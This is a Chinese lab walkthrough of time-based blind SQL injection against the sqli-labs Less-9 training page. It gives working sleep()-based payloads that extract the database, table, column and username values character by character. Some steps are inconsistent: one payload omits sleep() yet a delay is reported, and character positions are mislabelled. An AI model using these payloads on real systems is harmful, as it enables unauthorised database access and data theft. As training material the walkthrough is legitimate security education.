一、预备知识
熟悉基本SQL语句
二、实验目的
掌握SQL注入之sleep注入
三、实验工具
火狐浏览器(hackbar插件)
四、实验环境
1. Web服务器Windows Server 2003
2. 客户机一台
五、实验步骤
第一步:访问
http://www.any.com/sqli/Less-9/?id=1
页面正常返回:

第二步:加入单引号,访问
http://www.any.com/sqli/Less-9/?id=1'
不会报错,页面正常返回,可以判断可能是 bool 型注入:

第三步:查看数据库名称
1)输入:
http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substr(database(),1,1))<116,0,5)) %23
页面正常返回,说明 database 的第一个字符的 ascii 小于 116:

2)输入:
http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substr(database(),1,1))<115,0,5)) %23
页面大约等待 5s 返回,说明 database 的第一个字符的 ascii 不小于 115,综上所述,第一个字符的 ascii 是 115,即 s:

依次类推,得到 database 为 :security。
第四步:查看 security 中所有表
1)输入:
http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substr((select table_name from information_schema.tables where table_schema=' security' limit 0,1),1,1))<102,0,5)) %23
页面正常返回,说明表的第一个字符的 、ascii 小于 102:

2)输入:
http://www.any.com/sqli/Less-9/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=' security' limit 0,1),1,1))<101%23
页面返回大于等待 5s,说明表的第二个字符的 ascii 不小于 101,综上所述,第二个字符的 ascii 是 101,即e:

依次类推,得到所有的表为:emails,referers,uagents,users。
第五步:查看 users 表的所有的列
1)输入:
http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substr((select column_name from information_schema.columns where table_name=' users' and table_schema=' security' limit 0,1),1,1))<106,0,5)) %23
页面正常返回,说明表的第一个字符的 ascii 小于 106:

2)输入:
http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substr((select column_name from information_schema.columns where table_name=' users' and table_schema=' security' limit 0,1),1,1))<105,0,5)) %23
页面返回大约等待 5s,说明表的第二个字符的 ascii 不小于 105,综上所述,第一个字符的 ascii 是 105,即i:

依次类推,得到表的所有列为:id,username,password。
第六步:查看 username 的列的值
1)输入:
http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substring((select username from security.users limit 0,1),1,1))<69,0,5)) %23
页面正常返回,说明表的第一个字符的 ascii 小于 69:

2)输入:
http://www.any.com/sqli/Less-9/?id=1' and sleep( if(ascii(substring((select username from security.users limit 0,1),1,1))<68,0,5)) %23
页面返回大约等待 5s,说明表的第一个字符的 ascii 不小于 68,综上所述,第一个字符的 ascii 是 68,即 D:

依次类推,得到 users 表 username 的值为:Dump。

26万+

被折叠的 条评论
为什么被折叠?



